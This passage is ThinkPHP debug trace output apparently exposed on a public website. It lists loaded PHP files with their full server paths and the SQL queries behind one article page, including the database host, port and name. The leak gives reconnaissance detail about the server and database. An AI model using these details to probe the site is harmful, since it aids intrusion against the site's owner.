  113. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/ConnectionInterface.php ( 4.57 KB )
  114. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/builder/Mysql.php ( 16.58 KB )
  115. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/Builder.php ( 24.06 KB )
  116. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/BaseBuilder.php ( 27.50 KB )
  117. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/Query.php ( 15.71 KB )
  118. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/BaseQuery.php ( 45.13 KB )
  119. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/TimeFieldQuery.php ( 7.43 KB )
  120. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/AggregateQuery.php ( 3.26 KB )
  121. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/ModelRelationQuery.php ( 20.07 KB )
  122. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/ParamsBind.php ( 3.66 KB )
  123. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/ResultOperation.php ( 7.01 KB )
  124. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/WhereQuery.php ( 19.37 KB )
  125. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/JoinAndViewQuery.php ( 7.11 KB )
  126. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/TableFieldInfo.php ( 2.63 KB )
  127. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/Transaction.php ( 2.77 KB )
  128. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/log/driver/File.php ( 5.96 KB )
  129. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/contract/LogHandlerInterface.php ( 0.86 KB )
  130. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/log/Channel.php ( 3.89 KB )
  131. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/event/LogRecord.php ( 1.02 KB )
  132. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/Collection.php ( 16.47 KB )
  133. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/facade/View.php ( 1.70 KB )
  134. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/View.php ( 4.39 KB )
  135. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/controller/Es.php ( 3.30 KB )
  136. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Response.php ( 8.81 KB )
  137. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/response/View.php ( 3.29 KB )
  138. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Cookie.php ( 6.06 KB )
  139. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-view/src/Think.php ( 8.38 KB )
  140. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/contract/TemplateHandlerInterface.php ( 1.60 KB )
  141. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-template/src/Template.php ( 46.61 KB )
  142. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-template/src/template/driver/File.php ( 2.41 KB )
  143. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-template/src/template/contract/DriverInterface.php ( 0.86 KB )
  144. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/runtime/temp/c935550e3e8a3a4c27dd94e439343fdf.php ( 31.50 KB )
  145. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-trace/src/Html.php ( 4.42 KB )
  1. CONNECT:[ UseTime:0.001185s ] mysql:host=127.0.0.1;port=3306;dbname=wenku;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.001855s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.000795s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.000697s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.001382s ]
  6. SELECT * FROM `set` [ RunTime:0.000676s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.001551s ]
  8. SELECT * FROM `article` WHERE `id` = 630042 LIMIT 1 [ RunTime:0.001183s ]
  9. UPDATE `article` SET `lasttime` = 1778822003 WHERE `id` = 630042 [ RunTime:0.014077s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 64 LIMIT 1 [ RunTime:0.000652s ]
  11. SELECT * FROM `article` WHERE `id` < 630042 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.001174s ]
  12. SELECT * FROM `article` WHERE `id` > 630042 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.001106s ]
  13. SELECT * FROM `article` WHERE `id` < 630042 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.002387s ]
  14. SELECT * FROM `article` WHERE `id` < 630042 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.013831s ]
  15. SELECT * FROM `article` WHERE `id` < 630042 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.004153s ]
0.230315s